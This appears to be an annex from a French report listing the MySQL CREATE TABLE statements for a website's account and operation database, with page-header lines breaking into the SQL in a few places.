CREATE TABLE `type_operation` ( `id_type_operation` int(3) NOT NULL, `libelle_type_operation` varchar(40) default NULL, PRIMARY KEY (`id_type_operation`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

CREATE TABLE `operation` ( `id_opertion` varchar(20) NOT NULL, `id_fournisseur_service` varchar(20) default NULL, `id_type_operation` int(3) default NULL, `libelle_operation` varchar(40) default NULL, PRIMARY KEY (`id_opertion`), KEY `id_fournisseur_service` (`id_fournisseur_service`), KEY `id_type_operation` (`id_type_operation`), CONSTRAINT `operation_fk1` FOREIGN KEY (`id_type_operation`) REFERENCES

`type_operation` (`id_type_operation`), CONSTRAINT `operation_fk` FOREIGN KEY (`id_fournisseur_service`) REFERENCES `fournisseur_service` (`id_fournisseur_service`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

CREATE TABLE `compte` ( `id_compte` varchar(20) NOT NULL, `id_client` varchar(20) default NULL, `mot_de_passe` varchar(40) default NULL, `id_type_compte` int(3) default NULL, `date_creation_compte` date default NULL,

Annexe
`id_fournisseur_service` varchar(20) default NULL, PRIMARY KEY (`id_compte`), KEY `id_client` (`id_client`), KEY `id_type_compte` (`id_type_compte`),

La base de donnes du site

KEY `id_fournisseur_service` (`id_fournisseur_service`), CONSTRAINT `compte_fk2` FOREIGN KEY (`id_fournisseur_service`) REFERENCES `fournisseur_service` (`id_fournisseur_service`), CONSTRAINT `compte_fk` FOREIGN KEY (`id_client`) REFERENCES `client` (`id_client`), CONSTRAINT `compte_fk1` FOREIGN KEY (`id_type_compte`) REFERENCES `type_compte` (`id_type_compte`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

CREATE TABLE `compte_service` ( `id_service` varchar(20) NOT NULL, `id_compte` varchar(20) NOT NULL, PRIMARY KEY (`id_service`,`id_compte`), KEY `id_service` (`id_service`), KEY `id_compte` (`id_compte`), CONSTRAINT `compte_service_fk1` FOREIGN KEY (`id_compte`) REFERENCES `compte` (`id_compte`), CONSTRAINT `compte_service_fk` FOREIGN KEY (`id_service`) REFERENCES `service` (`id_service`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

CREATE TABLE `compte_operation` ( `id_operation` varchar(20) NOT NULL, `id_compte` varchar(20) NOT NULL, `date_operation` datetime NOT NULL, PRIMARY KEY (`id_operation`,`id_compte`,`date_operation`), KEY `id_operation` (`id_operation`), KEY `id_compte` (`id_compte`), CONSTRAINT `compte_operation_fk1` FOREIGN KEY (`id_compte`) REFERENCES `compte` (`id_compte`),

Annexe
CONSTRAINT `compte_operation_fk` FOREIGN

La base de donnes du site


KEY (`id_operation`) REFERENCES

`operation` (`id_opertion`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1;